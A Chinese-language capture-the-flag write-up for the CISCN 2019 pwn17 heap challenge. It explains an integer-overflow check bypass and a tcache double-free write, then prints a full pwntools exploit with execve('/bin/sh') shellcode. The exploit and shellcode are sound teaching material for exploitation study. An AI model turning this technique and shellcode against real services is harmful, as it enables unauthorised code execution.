【逆向學習記錄】Tcachebin CISCN_2019_PWN17 Write up

1 概述

這幾天做了一個libc2.27的題目,瞭解到tcachebin的基礎內容,發現利用這個tcachebin,反而導致漏洞更好利用了

2 CTF題目

題目1:CISCN2019_pwn6
參考:pwn6_exp
題目2:CISCN2019_pwn17

3 解題思路

3.1 題目解析

1,輸入內容,基本上沒有任何內容提示

在這裏插入圖片描述

2、反編譯查看

1、存在一個check,繞過這個check,是一個整數溢出

在這裏插入圖片描述
如果輸入的input_number等於這個值,通過類型強轉化爲signed int(32位),就是0 了
在這裏插入圖片描述

2、在執行shellcode之前,還有第二個比較操作,需要滿足

在這裏插入圖片描述

3、即使輸入shellcode,也需要滿足下面這個條件:異或

在這裏插入圖片描述
繞過方法:
1、shellcode 計算異或之後輸入
2、在shellcode之前添加一段指令,保證 strlen 很短,shellcode不用校驗

4、查找漏洞點

free之後,沒有置空,可以造成double free
在這裏插入圖片描述

4 EXP解讀

主要思路:

  • 通過doubleFree構造“泄露”可用的地址
  • 通過覆蓋可以,篡改已知字符串
  • 繞過最後的check,進行命令執行

1、繞過check,目前的堆棧是:
在這裏插入圖片描述
2、需要add一次,堆棧圖如下:
在這裏插入圖片描述
3、delete一次之後:
在這裏插入圖片描述
堆棧內容並沒有什麼變化,但是釋放之後,會進入tcachebins
在這裏插入圖片描述
4、再釋放一次:注意第二個堆的fd的位置,發生的變化:

在這裏插入圖片描述
在這裏插入圖片描述
這時候,可以看到tachebins裏面中的fd指針指向了自己。如果可以修改自己的內容,就相當於修改了下一次申請的地址空間。
6、因此,add一次(由於是分次調試的,顯示的地址,可能稍微有點不同,但是後面幾位是相同的):
在這裏插入圖片描述
在這裏插入圖片描述
這裏爲什麼是0x90:因爲tcachebin中地址是fd的地址,不是chunk的地址,所以爲了指向chunk爲0x80的地方,這裏是0x90
7、然後再add一次,仍然從tcachebin中進行分配,並修改裏面的內容,就相當於獲取了之前分配的地址,修改固定的字符串,這裏就不畫了。

add(0x7f,"\x90")
add(0x7f,"The cake is a lie!\x00")

8、繞過後面異或的check
後面的異或:有個check,考察的是strlen,遇\x00截斷,因此,尋找指令,可以繞過strlen的長度:

push 0
mov eax 

>>> asm("mov eax,0")
'\xb8\x00\x00\x00\x00'
>>> asm("push 0")
'j\x00'

最終就是上面git的exp(抄過來的)

#coding=utf-8
from pwn import *
local = 1
argv=[""]
context.terminal=["tmux","splitw","-h"]
if local :
    a=process("./pwn")
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    a=remote("",)
    libc=ELF("")
def debug():
    gdb.attach(a,'''
    b *(0x555555554000+0x00000000000103A)
b *(0x555555554000+0x000000000000E9E)
    ''')
def menu(idx):
    a.recvuntil("> ")
    a.sendline(str(idx))
def add(size,content):
    menu(1)
    menu(size)
    a.recvuntil("> ")
    a.send(content)
def delete():
    menu(2)
def check():
    a.recvuntil("> ")
    a.sendline("1")
    a.recvuntil("> ")
    a.sendline("-268435456")
#debug()
check()

add(0x7f,'AAA')
delete()
delete()
#debug()
add(0x7f,'\x90')
add(0x7f,'\x90')
add(0x7f,"The cake is a lie!\x00")
menu(3)
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


shellcode = asm("push 0")+shellcode_x64

a.recvuntil("> ")
a.send(shellcode)

a.interactive()

5 tcachebins

  1. tcachebins 和fastbins的區別:
    -------->tcachebins 指向的是fd的地址,fastbins 指向的是chunk的地址
    -------->tcachebins 不存在嚴格校驗,fastbins的校驗條件會更苛刻一點
    -------->tcachebins 的數量有限7個,大小比fastbins
    參考libc2.26 之後的tcache機制
  2. tcache 和 fastbin在free中並沒有被清除inuse標誌,所以他們被認爲是處於使用狀態,不會被合併
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章